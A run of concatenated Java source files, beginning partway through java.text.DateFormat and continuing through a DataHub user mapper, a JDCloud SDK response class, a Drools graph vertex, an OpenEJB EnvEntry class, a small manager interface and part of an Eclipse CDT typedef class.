Used in FieldPosition of date/time formatting. */ public final static int MILLISECOND_FIELD = 8; /** * Useful constant for DAY_OF_WEEK field alignment. * Used in FieldPosition of date/time formatting. */ public final static int DAY_OF_WEEK_FIELD = 9; /** * Useful constant for DAY_OF_YEAR field alignment. * Used in FieldPosition of date/time formatting. */ public final static int DAY_OF_YEAR_FIELD = 10; /** * Useful constant for DAY_OF_WEEK_IN_MONTH field alignment. * Used in FieldPosition of date/time formatting. */ public final static int DAY_OF_WEEK_IN_MONTH_FIELD = 11; /** * Useful constant for WEEK_OF_YEAR field alignment. * Used in FieldPosition of date/time formatting. */ public final static int WEEK_OF_YEAR_FIELD = 12; /** * Useful constant for WEEK_OF_MONTH field alignment. * Used in FieldPosition of date/time formatting. */ public final static int WEEK_OF_MONTH_FIELD = 13; /** * Useful constant for AM_PM field alignment. * Used in FieldPosition of date/time formatting. */ public final static int AM_PM_FIELD = 14; /** * Useful constant for one-based HOUR field alignment. * Used in FieldPosition of date/time formatting. * HOUR1_FIELD is used for the one-based 12-hour clock. * For example, 11:30 PM + 1 hour results in 12:30 AM. */ public final static int HOUR1_FIELD = 15; /** * Useful constant for zero-based HOUR field alignment. * Used in FieldPosition of date/time formatting. * HOUR0_FIELD is used for the zero-based 12-hour clock. * For example, 11:30 PM + 1 hour results in 00:30 AM. */ public final static int HOUR0_FIELD = 16; /** * Useful constant for TIMEZONE field alignment. * Used in FieldPosition of date/time formatting. */ public final static int TIMEZONE_FIELD = 17; // Proclaim serial compatibility with 1.1 FCS private static final long serialVersionUID = 7218322306649953788L; /** * Overrides Format. * Formats a time object into a time string. Examples of time objects * are a time value expressed in milliseconds and a Date object. * @param obj must be a Number or a Date. * @param toAppendTo the string buffer for the returning time string. * @return the string buffer passed in as toAppendTo, with formatted text appended. * @param fieldPosition keeps track of the position of the field * within the returned string. * On input: an alignment field, * if desired. On output: the offsets of the alignment field. For * example, given a time text "1996.07.10 AD at 15:08:56 PDT", * if the given fieldPosition is DateFormat.YEAR_FIELD, the * begin index and end index of fieldPosition will be set to * 0 and 4, respectively. * Notice that if the same time field appears * more than once in a pattern, the fieldPosition will be set for the first * occurrence of that time field. For instance, formatting a Date to * the time string "1 PM PDT (Pacific Daylight Time)" using the pattern * "h a z (zzzz)" and the alignment field DateFormat.TIMEZONE_FIELD, * the begin index and end index of fieldPosition will be set to * 5 and 8, respectively, for the first occurrence of the timezone * pattern character 'z'. * @see java.text.Format */ public final StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition fieldPosition) { if (obj instanceof Date) return format( (Date)obj, toAppendTo, fieldPosition ); else if (obj instanceof Number) return format( new Date(((Number)obj).longValue()), toAppendTo, fieldPosition ); else throw new IllegalArgumentException("Cannot format given Object as a Date"); } /** * Formats a Date into a date/time string. * @param date a Date to be formatted into a date/time string. * @param toAppendTo the string buffer for the returning date/time string. * @param fieldPosition keeps track of the position of the field * within the returned string. * On input: an alignment field, * if desired. On output: the offsets of the alignment field. For * example, given a time text "1996.07.10 AD at 15:08:56 PDT", * if the given fieldPosition is DateFormat.YEAR_FIELD, the * begin index and end index of fieldPosition will be set to * 0 and 4, respectively. * Notice that if the same time field appears * more than once in a pattern, the fieldPosition will be set for the first * occurrence of that time field. For instance, formatting a Date to * the time string "1 PM PDT (Pacific Daylight Time)" using the pattern * "h a z (zzzz)" and the alignment field DateFormat.TIMEZONE_FIELD, * the begin index and end index of fieldPosition will be set to * 5 and 8, respectively, for the first occurrence of the timezone * pattern character 'z'. * @return the string buffer passed in as toAppendTo, with formatted text appended. */ public abstract StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition fieldPosition); /** * Formats a Date into a date/time string. * @param date the time value to be formatted into a time string. * @return the formatted time string. */ public final String format(Date date) { return format(date, new StringBuffer(), DontCareFieldPosition.INSTANCE).toString(); } /** * Parses text from the beginning of the given string to produce a date. * The method may not use the entire text of the given string. * <p> * See the {@link #parse(String, ParsePosition)} method for more information * on date parsing. * * @param source A <code>String</code> whose beginning should be parsed. * @return A <code>Date</code> parsed from the string. * @exception ParseException if the beginning of the specified string * cannot be parsed. */ public Date parse(String source) throws ParseException { ParsePosition pos = new ParsePosition(0); Date result = parse(source, pos); if (pos.index == 0) throw new ParseException("Unparseable date: \"" + source + "\"" , pos.errorIndex); return result; } /** * Parse a date/time string according to the given parse position. For * example, a time text {@code "07/10/96 4:5 PM, PDT"} will be parsed into a {@code Date} * that is equivalent to {@code Date(837039900000L)}. * * <p> By default, parsing is lenient: If the input is not in the form used * by this object's format method but can still be parsed as a date, then * the parse succeeds. Clients may insist on strict adherence to the * format by calling {@link #setLenient(boolean) setLenient(false)}. * * <p>This parsing operation uses the {@link #calendar} to produce * a {@code Date}. As a result, the {@code calendar}'s date-time * fields and the {@code TimeZone} value may have been * overwritten, depending on subclass implementations. Any {@code * TimeZone} value that has previously been set by a call to * {@link #setTimeZone(java.util.TimeZone) setTimeZone} may need * to be restored for further operations. * * @param source The date/time string to be parsed * * @param pos On input, the position at which to start parsing; on * output, the position at which parsing terminated, or the * start position if the parse failed. * * @return A {@code Date}, or {@code null} if the input could not be parsed */ public abstract Date parse(String source, ParsePosition pos); /** * Parses text from a string to produce a <code>Date</code>. * <p> * The method attempts to parse text starting at the index given by * <code>pos</code>. * If parsing succeeds, then the index of <code>pos</code> is updated * to the index after the last character used (parsing does not necessarily * use all characters up to the end of the string), and the parsed * date is returned. The updated <code>pos</code> can be used to * indicate the starting point for the next call to this method. * If an error occurs, then the index of <code>pos</code> is not * changed, the error index of <code>pos</code> is set to the index of * the character where the error occurred, and null is returned. * <p> * See the {@link #parse(String, ParsePosition)} method for more information * on date parsing. * * @param source A <code>String</code>, part of which should be parsed. * @param pos A <code>ParsePosition</code> object with index and error * index information as described above. * @return A <code>Date</code> parsed from the string. In case of * error, returns null. * @exception NullPointerException if <code>pos</code> is null. */ public Object parseObject(String source, ParsePosition pos) { return parse(source, pos); } /** * Constant for full style pattern. */ public static final int FULL = 0; /** * Constant for long style pattern. */ public static final int LONG = 1; /** * Constant for medium style pattern. */ public static final int MEDIUM = 2; /** * Constant for short style pattern. */ public static final int SHORT = 3; /** * Constant for default style pattern. Its value is MEDIUM. */ public static final int DEFAULT = MEDIUM; /** * Gets the time formatter with the default formatting style * for the default locale. * @return a time formatter. */ public final static DateFormat getTimeInstance() { return get(DEFAULT, 0, 1, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the time formatter with the given formatting style * for the default locale. * @param style the given formatting style. For example, * SHORT for "h:mm a" in the US locale. * @return a time formatter. */ public final static DateFormat getTimeInstance(int style) { return get(style, 0, 1, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the time formatter with the given formatting style * for the given locale. * @param style the given formatting style. For example, * SHORT for "h:mm a" in the US locale. * @param aLocale the given locale. * @return a time formatter. */ public final static DateFormat getTimeInstance(int style, Locale aLocale) { return get(style, 0, 1, aLocale); } /** * Gets the date formatter with the default formatting style * for the default locale. * @return a date formatter. */ public final static DateFormat getDateInstance() { return get(0, DEFAULT, 2, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the date formatter with the given formatting style * for the default locale. * @param style the given formatting style. For example, * SHORT for "M/d/yy" in the US locale. * @return a date formatter. */ public final static DateFormat getDateInstance(int style) { return get(0, style, 2, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the date formatter with the given formatting style * for the given locale. * @param style the given formatting style. For example, * SHORT for "M/d/yy" in the US locale. * @param aLocale the given locale. * @return a date formatter. */ public final static DateFormat getDateInstance(int style, Locale aLocale) { return get(0, style, 2, aLocale); } /** * Gets the date/time formatter with the default formatting style * for the default locale. * @return a date/time formatter. */ public final static DateFormat getDateTimeInstance() { return get(DEFAULT, DEFAULT, 3, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the date/time formatter with the given date and time * formatting styles for the default locale. * @param dateStyle the given date formatting style. For example, * SHORT for "M/d/yy" in the US locale. * @param timeStyle the given time formatting style. For example, * SHORT for "h:mm a" in the US locale. * @return a date/time formatter. */ public final static DateFormat getDateTimeInstance(int dateStyle, int timeStyle) { return get(timeStyle, dateStyle, 3, Locale.getDefault(Locale.Category.FORMAT)); } /** * Gets the date/time formatter with the given formatting styles * for the given locale. * @param dateStyle the given date formatting style. * @param timeStyle the given time formatting style. * @param aLocale the given locale. * @return a date/time formatter. */ public final static DateFormat getDateTimeInstance(int dateStyle, int timeStyle, Locale aLocale) { return get(timeStyle, dateStyle, 3, aLocale); } /** * Get a default date/time formatter that uses the SHORT style for both the * date and the time. */ public final static DateFormat getInstance() { return getDateTimeInstance(SHORT, SHORT); } /** * Returns an array of all locales for which the * <code>get*Instance</code> methods of this class can return * localized instances. * The returned array represents the union of locales supported by the Java * runtime and by installed * {@link java.text.spi.DateFormatProvider DateFormatProvider} implementations. * It must contain at least a <code>Locale</code> instance equal to * {@link java.util.Locale#US Locale.US}. * * @return An array of locales for which localized * <code>DateFormat</code> instances are available. */ public static Locale[] getAvailableLocales() { LocaleServiceProviderPool pool = LocaleServiceProviderPool.getPool(DateFormatProvider.class); return pool.getAvailableLocales(); } /** * Set the calendar to be used by this date format. Initially, the default * calendar for the specified or default locale is used. * * <p>Any {@link java.util.TimeZone TimeZone} and {@linkplain * #isLenient() leniency} values that have previously been set are * overwritten by {@code newCalendar}'s values. * * @param newCalendar the new {@code Calendar} to be used by the date format */ public void setCalendar(Calendar newCalendar) { this.calendar = newCalendar; } /** * Gets the calendar associated with this date/time formatter. * * @return the calendar associated with this date/time formatter. */ public Calendar getCalendar() { return calendar; } /** * Allows you to set the number formatter. * @param newNumberFormat the given new NumberFormat. */ public void setNumberFormat(NumberFormat newNumberFormat) { this.numberFormat = newNumberFormat; } /** * Gets the number formatter which this date/time formatter uses to * format and parse a time. * @return the number formatter which this date/time formatter uses. */ public NumberFormat getNumberFormat() { return numberFormat; } /** * Sets the time zone for the calendar of this {@code DateFormat} object. * This method is equivalent to the following call. * <blockquote><pre> * getCalendar().setTimeZone(zone) * </pre></blockquote> * * <p>The {@code TimeZone} set by this method is overwritten by a * {@link #setCalendar(java.util.Calendar) setCalendar} call. * * <p>The {@code TimeZone} set by this method may be overwritten as * a result of a call to the parse method. * * @param zone the given new time zone. */ public void setTimeZone(TimeZone zone) { calendar.setTimeZone(zone); } /** * Gets the time zone. * This method is equivalent to the following call. * <blockquote><pre> * getCalendar().getTimeZone() * </pre></blockquote> * * @return the time zone associated with the calendar of DateFormat. */ public TimeZone getTimeZone() { return calendar.getTimeZone(); } /** * Specify whether or not date/time parsing is to be lenient. With * lenient parsing, the parser may use heuristics to interpret inputs that * do not precisely match this object's format. With strict parsing, * inputs must match this object's format. * * <p>This method is equivalent to the following call. * <blockquote><pre> * getCalendar().setLenient(lenient) * </pre></blockquote> * * <p>This leniency value is overwritten by a call to {@link * #setCalendar(java.util.Calendar) setCalendar()}. * * @param lenient when {@code true}, parsing is lenient * @see java.util.Calendar#setLenient(boolean) */ public void setLenient(boolean lenient) { calendar.setLenient(lenient); } /** * Tell whether date/time parsing is to be lenient. * This method is equivalent to the following call. * <blockquote><pre> * getCalendar().isLenient() * </pre></blockquote> * * @return {@code true} if the {@link #calendar} is lenient; * {@code false} otherwise. * @see java.util.Calendar#isLenient() */ public boolean isLenient() { return calendar.isLenient(); } /** * Overrides hashCode */ public int hashCode() { return numberFormat.hashCode(); // just enough fields for a reasonable distribution } /** * Overrides equals */ public boolean equals(Object obj) { if (this == obj) return true; if (obj == null || getClass() != obj.getClass()) return false; DateFormat other = (DateFormat) obj; return (// calendar.equivalentTo(other.calendar) // THIS API DOESN'T EXIST YET! calendar.getFirstDayOfWeek() == other.calendar.getFirstDayOfWeek() && calendar.getMinimalDaysInFirstWeek() == other.calendar.getMinimalDaysInFirstWeek() && calendar.isLenient() == other.calendar.isLenient() && calendar.getTimeZone().equals(other.calendar.getTimeZone()) && numberFormat.equals(other.numberFormat)); } /** * Overrides Cloneable */ public Object clone() { DateFormat other = (DateFormat) super.clone(); other.calendar = (Calendar) calendar.clone(); other.numberFormat = (NumberFormat) numberFormat.clone(); return other; } /** * Creates a DateFormat with the given time and/or date style in the given * locale. * @param timeStyle a value from 0 to 3 indicating the time format, * ignored if flags is 2 * @param dateStyle a value from 0 to 3 indicating the time format, * ignored if flags is 1 * @param flags either 1 for a time format, 2 for a date format, * or 3 for a date/time format * @param loc the locale for the format */ private static DateFormat get(int timeStyle, int dateStyle, int flags, Locale loc) { if ((flags & 1) != 0) { if (timeStyle < 0 || timeStyle > 3) { throw new IllegalArgumentException("Illegal time style " + timeStyle); } } else { timeStyle = -1; } if ((flags & 2) != 0) { if (dateStyle < 0 || dateStyle > 3) { throw new IllegalArgumentException("Illegal date style " + dateStyle); } } else { dateStyle = -1; } try { // Check whether a provider can provide an implementation that's closer // to the requested locale than what the Java runtime itself can provide. LocaleServiceProviderPool pool = LocaleServiceProviderPool.getPool(DateFormatProvider.class); if (pool.hasProviders()) { DateFormat providersInstance = pool.getLocalizedObject( DateFormatGetter.INSTANCE, loc, timeStyle, dateStyle, flags); if (providersInstance != null) { return providersInstance; } } return new SimpleDateFormat(timeStyle, dateStyle, loc); } catch (MissingResourceException e) { return new SimpleDateFormat("M/d/yy h:mm a"); } } /** * Create a new date format. */ protected DateFormat() {} /** * Defines constants that are used as attribute keys in the * <code>AttributedCharacterIterator</code> returned * from <code>DateFormat.formatToCharacterIterator</code> and as * field identifiers in <code>FieldPosition</code>. * <p> * The class also provides two methods to map * between its constants and the corresponding Calendar constants. * * @since 1.4 * @see java.util.Calendar */ public static class Field extends Format.Field { // Proclaim serial compatibility with 1.4 FCS private static final long serialVersionUID = 7441350119349544720L; // table of all instances in this class, used by readResolve private static final Map instanceMap = new HashMap(18); // Maps from Calendar constant (such as Calendar.ERA) to Field // constant (such as Field.ERA). private static final Field[] calendarToFieldMapping = new Field[Calendar.FIELD_COUNT]; /** Calendar field. */ private int calendarField; /** * Returns the <code>Field</code> constant that corresponds to * the <code>Calendar</code> constant <code>calendarField</code>. * If there is no direct mapping between the <code>Calendar</code> * constant and a <code>Field</code>, null is returned. * * @throws IllegalArgumentException if <code>calendarField</code> is * not the value of a <code>Calendar</code> field constant. * @param calendarField Calendar field constant * @return Field instance representing calendarField. * @see java.util.Calendar */ public static Field ofCalendarField(int calendarField) { if (calendarField < 0 || calendarField >= calendarToFieldMapping.length) { throw new IllegalArgumentException("Unknown Calendar constant " + calendarField); } return calendarToFieldMapping[calendarField]; } /** * Creates a <code>Field</code>. * * @param name the name of the <code>Field</code> * @param calendarField the <code>Calendar</code> constant this * <code>Field</code> corresponds to; any value, even one * outside the range of legal <code>Calendar</code> values may * be used, but <code>-1</code> should be used for values * that don't correspond to legal <code>Calendar</code> values */ protected Field(String name, int calendarField) { super(name); this.calendarField = calendarField; if (this.getClass() == DateFormat.Field.class) { instanceMap.put(name, this); if (calendarField >= 0) { // assert(calendarField < Calendar.FIELD_COUNT); calendarToFieldMapping[calendarField] = this; } } } /** * Returns the <code>Calendar</code> field associated with this * attribute. For example, if this represents the hours field of * a <code>Calendar</code>, this would return * <code>Calendar.HOUR</code>. If there is no corresponding * <code>Calendar</code> constant, this will return -1. * * @return Calendar constant for this field * @see java.util.Calendar */ public int getCalendarField() { return calendarField; } /** * Resolves instances being deserialized to the predefined constants. * * @throws InvalidObjectException if the constant could not be * resolved. * @return resolved DateFormat.Field constant */ protected Object readResolve() throws InvalidObjectException { if (this.getClass() != DateFormat.Field.class) { throw new InvalidObjectException("subclass didn't correctly implement readResolve"); } Object instance = instanceMap.get(getName()); if (instance != null) { return instance; } else { throw new InvalidObjectException("unknown attribute name"); } } // // The constants // /** * Constant identifying the era field. */ public final static Field ERA = new Field("era", Calendar.ERA); /** * Constant identifying the year field. */ public final static Field YEAR = new Field("year", Calendar.YEAR); /** * Constant identifying the month field. */ public final static Field MONTH = new Field("month", Calendar.MONTH); /** * Constant identifying the day of month field. */ public final static Field DAY_OF_MONTH = new Field("day of month", Calendar.DAY_OF_MONTH); /** * Constant identifying the hour of day field, where the legal values * are 1 to 24. */ public final static Field HOUR_OF_DAY1 = new Field("hour of day 1",-1); /** * Constant identifying the hour of day field, where the legal values * are 0 to 23. */ public final static Field HOUR_OF_DAY0 = new Field("hour of day", Calendar.HOUR_OF_DAY); /** * Constant identifying the minute field. */ public final static Field MINUTE =new Field("minute", Calendar.MINUTE); /** * Constant identifying the second field. */ public final static Field SECOND =new Field("second", Calendar.SECOND); /** * Constant identifying the millisecond field. */ public final static Field MILLISECOND = new Field("millisecond", Calendar.MILLISECOND); /** * Constant identifying the day of week field. */ public final static Field DAY_OF_WEEK = new Field("day of week", Calendar.DAY_OF_WEEK); /** * Constant identifying the day of year field. */ public final static Field DAY_OF_YEAR = new Field("day of year", Calendar.DAY_OF_YEAR); /** * Constant identifying the day of week field. */ public final static Field DAY_OF_WEEK_IN_MONTH = new Field("day of week in month", Calendar.DAY_OF_WEEK_IN_MONTH); /** * Constant identifying the week of year field. */ public final static Field WEEK_OF_YEAR = new Field("week of year", Calendar.WEEK_OF_YEAR); /** * Constant identifying the week of month field. */ public final static Field WEEK_OF_MONTH = new Field("week of month", Calendar.WEEK_OF_MONTH); /** * Constant identifying the time of day indicator * (e.g. "a.m." or "p.m.") field. */ public final static Field AM_PM = new Field("am pm", Calendar.AM_PM); /** * Constant identifying the hour field, where the legal values are * 1 to 12. */ public final static Field HOUR1 = new Field("hour 1", -1); /** * Constant identifying the hour field, where the legal values are * 0 to 11. */ public final static Field HOUR0 = new Field("hour", Calendar.HOUR); /** * Constant identifying the time zone field. */ public final static Field TIME_ZONE = new Field("time zone", -1); } /** * Obtains a DateFormat instance from a DateFormatProvider * implementation. */ private static class DateFormatGetter implements LocaleServiceProviderPool.LocalizedObjectGetter<DateFormatProvider, DateFormat> { private static final DateFormatGetter INSTANCE = new DateFormatGetter(); public DateFormat getObject(DateFormatProvider dateFormatProvider, Locale locale, String key, Object... params) { assert params.length == 3; int timeStyle = (Integer)params[0]; int dateStyle = (Integer)params[1]; int flags = (Integer)params[2]; switch (flags) { case 1: return dateFormatProvider.getTimeInstance(timeStyle, locale); case 2: return dateFormatProvider.getDateInstance(dateStyle, locale); case 3: return dateFormatProvider.getDateTimeInstance(dateStyle, timeStyle, locale); default: assert false : "should not happen"; } return null; } } }
package com.linkedin.datahub.graphql.mappers; import com.linkedin.common.urn.CorpuserUrn; import com.linkedin.datahub.graphql.generated.CorpUser; import javax.annotation.Nonnull; /** * Maps Pegasus {@link RecordTemplate} objects to objects conforming to the GQL schema. * * To be replaced by auto-generated mappers implementations */ public class CorpUserMapper implements ModelMapper<com.linkedin.identity.CorpUser, CorpUser> { public static final CorpUserMapper INSTANCE = new CorpUserMapper(); public static CorpUser map(@Nonnull final com.linkedin.identity.CorpUser corpUser) { return INSTANCE.apply(corpUser); } @Override public CorpUser apply(@Nonnull final com.linkedin.identity.CorpUser corpUser) { final CorpUser result = new CorpUser(); result.setUrn(new CorpuserUrn(corpUser.getUsername()).toString()); result.setUsername(corpUser.getUsername()); if (corpUser.hasInfo()) { result.setInfo(CorpUserInfoMapper.map(corpUser.getInfo())); } if (corpUser.hasEditableInfo()) { result.setEditableInfo(CorpUserEditableInfoMapper.map(corpUser.getEditableInfo())); } return result; } }
@ParametersAreNonnullByDefault @ReturnValuesAreNonnullByDefault package io.contek.invoker.bitstamp.api.websocket.user; import edu.umd.cs.findbugs.annotations.ReturnValuesAreNonnullByDefault; import javax.annotation.ParametersAreNonnullByDefault;
/* * Copyright 2018 JDCLOUD.COM * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http:#www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * Quality Detection * 质量检测任务相关接口 * * OpenAPI spec version: v1 * Contact: * * NOTE: This class is auto generated by the jdcloud code generator program. */ package com.jdcloud.sdk.service.vod.model; import com.jdcloud.sdk.service.JdcloudResponse; /** * 批量提交质检作业 */ public class BatchSubmitQualityDetectionJobsResponse extends JdcloudResponse<BatchSubmitQualityDetectionJobsResult> implements java.io.Serializable { private static final long serialVersionUID = 1L; }
/* * Copyright 2010 Red Hat, Inc. and/or its affiliates. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.drools.eclipse.reteoo; import org.drools.core.reteoo.EvalConditionNode; import org.eclipse.draw2d.ColorConstants; import org.eclipse.swt.graphics.Color; /** * Wraps {@link org.drools.core.reteoo.EvalConditionNode} and adds visual extras like color information */ public class EvalConditionNodeVertex extends BaseVertex { private static final String NODE_NAME = "EvalConditionNode"; private final EvalConditionNode node; /** * Constructor * * @param node node to be wrapped */ public EvalConditionNodeVertex(final EvalConditionNode node) { super(); this.node = node; } /* (non-Javadoc) * @see org.drools.core.reteoo.BaseNodeVertex#getHtml() */ public String getHtml() { return NODE_NAME + " : " + this.node.getId(); } /* (non-Javadoc) * @see org.drools.eclipse.editors.rete.model.BaseVertex#toString() */ public String toString() { return NODE_NAME; } /** * Node ID * * @return node id */ public int getId() { return node.getId(); } /* (non-Javadoc) * @see org.drools.core.reteoo.BaseNodeVertex#getFillColor() */ public Color getFillColor() { return ColorConstants.white; } }
/** * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.openejb.jee; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlID; import javax.xml.bind.annotation.XmlType; import javax.xml.bind.annotation.XmlTransient; import javax.xml.bind.annotation.adapters.CollapsedStringAdapter; import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter; import java.util.HashSet; import java.util.Set; /** * javaee6.xsd * * <p>Java class for env-entryType complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="env-entryType"&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;sequence&gt; * &lt;element name="description" type="{http://java.sun.com/xml/ns/javaee}descriptionType" maxOccurs="unbounded" minOccurs="0"/&gt; * &lt;element name="env-entry-name" type="{http://java.sun.com/xml/ns/javaee}jndi-nameType"/&gt; * &lt;element name="env-entry-type" type="{http://java.sun.com/xml/ns/javaee}env-entry-type-valuesType" minOccurs="0"/&gt; * &lt;element name="env-entry-value" type="{http://java.sun.com/xml/ns/javaee}xsdStringType" minOccurs="0"/&gt; * &lt;group ref="{http://java.sun.com/xml/ns/javaee}resourceGroup"/&gt; * &lt;/sequence&gt; * &lt;attribute name="id" type="{http://www.w3.org/2001/XMLSchema}ID" /&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "env-entryType", propOrder = { "descriptions", "envEntryName", "envEntryType", "envEntryValue", "mappedName", "injectionTarget", "lookupName" }) public class EnvEntry implements JndiReference { @XmlTransient protected TextMap description = new TextMap(); @XmlElement(name = "env-entry-name", required = true) protected String envEntryName; @XmlElement(name = "env-entry-type") protected String envEntryType; @XmlJavaTypeAdapter(StringAdapter.class) @XmlElement(name = "env-entry-value") protected String envEntryValue; @XmlElement(name = "mapped-name") protected String mappedName; @XmlElement(name = "lookup-name") protected String lookupName; @XmlElement(name = "injection-target", required = true) protected Set<InjectionTarget> injectionTarget; @XmlAttribute @XmlJavaTypeAdapter(CollapsedStringAdapter.class) @XmlID protected String id; public EnvEntry() { } public EnvEntry(final String envEntryName, final String envEntryType, final String envEntryValue) { this.setEnvEntryName(envEntryName); this.setEnvEntryType(envEntryType); this.setEnvEntryValue(envEntryValue); } public EnvEntry(final String envEntryName, final Class<?> envEntryType, final String envEntryValue) { this(envEntryName, envEntryType.getName(), envEntryValue); } public EnvEntry name(final String envEntryName) { this.setEnvEntryName(envEntryName); return this; } public EnvEntry type(final String envEntryType) { this.setEnvEntryType(envEntryType); return this; } public EnvEntry type(final Class<?> envEntryType) { return type(envEntryType.getName()); } public EnvEntry value(final String envEntryValue) { this.setEnvEntryValue(envEntryValue); return this; } public EnvEntry mappedName(final String mappedName) { this.setMappedName(mappedName); return this; } public EnvEntry lookup(final String lookupName) { this.setLookupName(lookupName); return this; } public EnvEntry injectionTarget(final String className, final String property) { getInjectionTarget().add(new InjectionTarget(className, property)); if (this.getEnvEntryName() == null) { this.setEnvEntryName("java:comp/env/" + className + "/" + property); } return this; } public EnvEntry injectionTarget(final Class<?> clazz, final String property) { return injectionTarget(clazz.getName(), property); } @XmlTransient public String getName() { return getEnvEntryName(); } @XmlTransient public String getType() { return getEnvEntryType(); } public void setName(final String name) { setEnvEntryName(name); } public String getKey() { final String name = getName(); if (name == null || name.startsWith("java:")) return name; return "java:comp/env/" + name; } public void setType(final String type) { setEnvEntryType(type); } @XmlElement(name = "description", required = true) public Text[] getDescriptions() { return description.toArray(); } public void setDescriptions(final Text[] text) { description.set(text); } public String getDescription() { return description.get(); } public String getEnvEntryName() { return envEntryName; } public void setEnvEntryName(final String value) { this.envEntryName = value; } /** * Gets the value of the envEntryType property. */ public String getEnvEntryType() { return envEntryType; } public void setEnvEntryType(final String value) { this.envEntryType = value; } public String getEnvEntryValue() { return envEntryValue; } public void setEnvEntryValue(final String value) { this.envEntryValue = value; } public String getMappedName() { return mappedName; } public void setMappedName(final String value) { this.mappedName = value; } public String getLookupName() { return lookupName; } public void setLookupName(final String lookupName) { this.lookupName = lookupName; } public Set<InjectionTarget> getInjectionTarget() { if (injectionTarget == null) { injectionTarget = new HashSet<InjectionTarget>(); } return this.injectionTarget; } public String getId() { return id; } public void setId(final String value) { this.id = value; } @Override public String toString() { return "EnvEntry{" + "name='" + getEnvEntryName() + '\'' + ", type='" + getEnvEntryType() + '\'' + ", value='" + getEnvEntryValue() + '\'' + ", mappedName='" + getMappedName() + '\'' + ", lookupName='" + getLookupName() + '\'' + '}'; } }
package models.manager; import play.mvc.Result; /** * * @author Pedro Ocando * 2017 */ public interface CountryManager { Result create(Integer partner); Result update(Integer partner,Integer id); Result delete(Integer partner,Integer id); Result findById(Integer partner,Integer id); Result findAll(Integer partner,Integer index,Integer size); }
/******************************************************************************* * Copyright (c) 2006, 2014 QNX Software Systems and others. * All rights reserved. This program and the accompanying materials * are made available under the terms of the Eclipse Public License v1.0 * which accompanies this distribution, and is available at * http://www.eclipse.org/legal/epl-v10.html * * Contributors: * Doug Schaefer (QNX) - Initial API and implementation * Markus Schorn (Wind River Systems) * IBM Corporation *******************************************************************************/ package org.eclipse.cdt.internal.core.pdom.dom.c; import org.eclipse.cdt.core.CCorePlugin; import org.eclipse.cdt.core.dom.ast.DOMException; import org.eclipse.cdt.core.dom.ast.IASTNode; import org.eclipse.cdt.core.dom.ast.IBinding; import org.eclipse.cdt.core.dom.ast.IFunctionType; import org.eclipse.cdt.core.dom.ast.IType; import org.eclipse.cdt.core.dom.ast.ITypedef; import org.eclipse.cdt.core.parser.util.CharArrayUtils; import org.eclipse.cdt.internal.core.Util; import org.eclipse.cdt.internal.core.dom.parser.ITypeContainer; import org.eclipse.cdt.internal.core.index.IIndexCBindingConstants; import org.eclipse.cdt.internal.core.index.IIndexType; import org.eclipse.cdt.internal.core.pdom.db.Database; import org.eclipse.cdt.internal.core.pdom.dom.PDOMBinding; import org.eclipse.cdt.internal.core.pdom.dom.PDOMLinkage; import org.eclipse.cdt.internal.core.pdom.dom.PDOMNode; import org.eclipse.core.runtime.CoreException; /** * Typedefs for c */ public class PDOMCTypedef extends PDOMBinding implements ITypedef, ITypeContainer, IIndexType { private static final int TYPE_OFFSET = PDOMBinding.RECORD_SIZE + 0; @SuppressWarnings("hiding") protected static final int RECORD_SIZE = TYPE_OFFSET + Database.TYPE_SIZE; public PDOMCTypedef(PDOMLinkage linkage, PDOMNode parent, ITypedef typedef) throws CoreException { super(linkage, parent, typedef.getNameCharArray()); try { IType type = typedef.getType(); setType(parent.getLinkage(), type); } catch (DOMException e) { throw new CoreException(Util.createStatus(e)); } } public PDOMCTypedef(PDOMLinkage linkage, long record) { super(linkage, record); } @Override public void update(final PDOMLinkage linkage, IBinding newBinding, IASTNode point) throws CoreException { if (newBinding instanceof ITypedef) { ITypedef td= (ITypedef) newBinding; try { setType(linkage, td.getType()); } catch (DOMException e) { throw new CoreException(Util.createStatus(e)); } } } private void setType(final PDOMLinkage linkage, IType newType) throws CoreException, DOMException { linkage.storeType(record+TYPE_OFFSET, newType); if (introducesRecursion(getType(), getNameCharArray())) { linkage.storeType(record+TYPE_OFFSET, null); } } @Override public long getRecord() { return this.record; } private boolean introducesRecursion(IType type, char[] tdname) throws DOMException { int maxDepth= 50; while (--maxDepth > 0) { if (type instanceof ITypedef && CharArrayUtils.equals(((ITypedef) 